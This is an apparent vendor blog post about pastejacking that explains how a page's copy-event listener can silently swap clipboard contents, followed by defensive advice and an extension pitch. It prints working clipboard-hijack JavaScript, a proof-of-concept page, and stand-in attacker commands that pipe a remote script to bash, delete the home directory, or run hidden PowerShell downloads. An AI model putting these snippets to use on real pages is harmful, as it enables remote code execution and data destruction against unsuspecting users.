The mechanic: hijacking the copy event

Pastejacking works because browsers fire a DOM event called copy every time you press Ctrl+C or Cmd+C. Any page with a single event listener can intercept that event and overwrite what goes into your clipboard. The user-visible text on the page stays the same, but the clipboard gets loaded with something completely different.

Here is the entire attack in six lines of JavaScript:

document.addEventListener('copy', function(e) {
  e.clipboardData.setData('text/plain', 'malicious-command');
  e.preventDefault();
});

The modern variant uses the asynchronous Clipboard API, which has gotten easier to abuse now that most browsers expose it behind a permission prompt that many users click through without reading:

document.addEventListener('copy', async (e) => {
  e.preventDefault();
  await navigator.clipboard.writeText('curl https://attacker.example/install.sh | sudo bash');
});

The flow is simple. The user highlights text on the page. The browser prepares to place that text on the system clipboard. Before it does, the page's JavaScript intercepts the event, calls preventDefault() to stop the real copy, and calls setData() or writeText() to put its own payload in your clipboard. When the user pastes anywhere (terminal, admin prompt, Slack, email) the attacker's payload shows up instead of the text they thought they copied. No exploit, no CVE, just a permitted browser API being used exactly as documented.

Why terminal users are the number one target

Developers, sysadmins, DevOps engineers, and data scientists copy install commands from blogs, docs, and Stack Overflow every single day. It is a baseline part of the job. You read a walkthrough, you see a command, you copy it, you paste it into a shell, and you run it. The whole pipeline assumes the source you are reading is also the source you are pasting from.

That trust model breaks in two ways. The first is when the "trusted" domain itself gets compromised. A hacked blog, a typosquatted docs mirror, or an SEO-optimized tutorial site can plant a copy listener on any code block. The second is when the domain only looks trusted. Sites with names like docs-kubernetes-install.com or official-homebrew.io show up in search results for install guides, and they often outrank real docs for long-tail queries. When the user lands on one of those pages, the pastejacking payload is already wired up.

The reason terminal paste is so dangerous is that the shell has no confirmation step. Press Enter, it runs. If the command contains a newline, most terminals execute it immediately without even waiting for Enter. The window between paste and execute is effectively zero.

The Linux and Mac install.sh trick

The classic pastejacking target is the curl | bash install pattern. You have seen it a thousand times:

curl https://example.com/install.sh | bash

The attacker hosts a page that looks, visually, like it is showing you exactly that harmless command. The HTML block on the page really does say example.com. But when you select and copy the text, the clipboard gets loaded with something like:

curl https://attacker.example/install.sh | bash; rm -rf ~ &

Two things make this brutal. First, the trailing newline at the end of the payload means the command runs the instant it hits your terminal. There is no opportunity to read it before Enter fires for you. Second, the attacker can chain a destructive cleanup command after the real-looking one, so even if you notice something went wrong, your home directory is already gone.

A trimmed down proof of concept page looks like this:

<pre id="cmd">curl https://example.com/install.sh | bash</pre>
<script>
  document.getElementById('cmd').addEventListener('copy', (e) => {
    e.preventDefault();
    e.clipboardData.setData(
      'text/plain',
      'curl https://attacker.example/install.sh | bash\n'
    );
  });
</script>

Nothing about that HTML is flagged as malicious by a static scanner. It is a plain event listener on a plain element.

The PowerShell variant: ClickFix's older cousin

On Windows, the same technique targets PowerShell and the Run dialog (Win+R). The payload is usually a one-liner that downloads a second-stage binary and executes it:

powershell -w hidden -c "iwr https://attacker.example/x.ps1 | iex"

Pastejacking is the ancestor of the current ClickFix attack wave. The distinction is important. Pastejacking is clipboard-level: the user is tricked, the site swaps the content, the user pastes something they did not mean to paste. ClickFix is social engineering on top: the user is told, in plain words, "copy this command, open Run, paste it, press Enter to fix your browser." In ClickFix the user knows what is in their clipboard and runs it anyway. Pastejacking works without the user's awareness. Modern campaigns combine both: they tell the victim what to paste, and then they silently swap it for something even worse.

We covered the ClickFix social-engineering layer in detail in the fake CAPTCHA ClickFix writeup, which is worth reading together with this post.

The "just run this to fix the error" layer

On top of the raw technique sits a thick layer of social engineering. A page pops up claiming your browser is out of date, your system is infected, or your Cloudflare verification failed. It says something like: "Copy the command below and paste it into PowerShell to verify you are human." The command on screen is short, looks benign, and has a friendly purpose.

Pastejacking amplifies the trick. Even the cautious user who reads the command on screen and decides it looks safe is still pasting something different. The screen text is decoration. The clipboard is the real payload. The user is now running an attacker-controlled script with their own privileges, and in many campaigns that ends with an info-stealer harvesting browser cookies, crypto wallet seeds, and SSH keys.

Why browser dev consoles are especially vulnerable

Self-XSS via pastejacking is a whole category on its own. The target is the browser's DevTools console. An attacker convinces the user to open DevTools and paste a "trusted" snippet that supposedly enables a hidden feature or unlocks something. The pasted code runs with full page privileges, which means it can read auth cookies, session tokens, and any data the logged-in user can see.

This is why Facebook, Twitter, Discord, and most large web apps now show a giant red warning when you open the dev console. They cannot stop you from pasting into it, but they can at least tell you that anyone telling you to paste something in there is probably trying to steal your account. Pastejacking makes self-XSS worse because the user does not even need to be told to paste malicious code. They can think they are pasting a harmless one-liner and still end up running the full exfil script.

How to see what you actually copied before pasting

The single best habit against pastejacking is to break the copy-to-shell pipeline. Add a verification step.

  • Paste into a text editor first. Notepad, TextEdit, VS Code, any editor that shows raw text. If the content does not match what you copied, you found a pastejacking attempt.
  • Use a clipboard manager. Tools like Maccy, Ditto, Paste, CopyQ, or Windows' built-in clipboard history (Win+V) show the raw content of your clipboard before you commit to pasting anywhere.
  • Never paste directly from a website into a shell or admin prompt. Always go website to editor to shell, even when you are in a hurry.
  • Right-click, inspect the element. A quick look at the DOM will often reveal a copy event listener attached to the code block or a suspicious script tag on the page.
  • Disable JavaScript on docs sites that do not need it. Many attacks die the second the event listener cannot run.

How SafeBrowz blocks it

Our clipboard hijack guard watches for the exact pattern described in this post. It detects pages that call setData() on a copy event or navigator.clipboard.writeText() without a recent, user-initiated click, and it blocks the write and surfaces a warning banner. Legitimate "copy to clipboard" buttons do not trigger it because those fire inside a real click handler. Pastejacking sites trigger it immediately, because their whole trick depends on silent interception.

The clipboard hijack guard is a Premium feature. Premium is $14.99 per year and covers 3 devices on one license. The free tier still catches most pastejacking campaigns at the domain level because we already ship a blocklist of known clipboard-attack hosts, updated daily, across more than 420 impersonated brands. The SafeBrowz extension itself is free forever and works on Chrome, Firefox, and Edge.

Safer patterns for developers and sysadmins

Even with an extension installed, the long-term fix is to change how you install software and how you treat commands you find on the web.

  • Prefer trusted mirrors. GitHub releases with signed tags beat a random blog post every time.
  • Verify GPG signatures on install scripts and tarballs when the project ships them. Most serious projects do.
  • Use package managers. apt, dnf, brew, npm, pip, cargo, and winget all verify what they install. curl | bash verifies nothing.
  • Pin hashes when you must curl | bash. Download the script first, check its SHA-256 against the value in the project's README, then execute it.
  • Run unfamiliar scripts in a sandbox. A throwaway Docker container or a VM snapshot costs you thirty seconds and buys you complete isolation.
  • Read every command once it is in your terminal. Add a blank line before your pasted command if your shell supports it, so you get a chance to scroll up and read before Enter fires.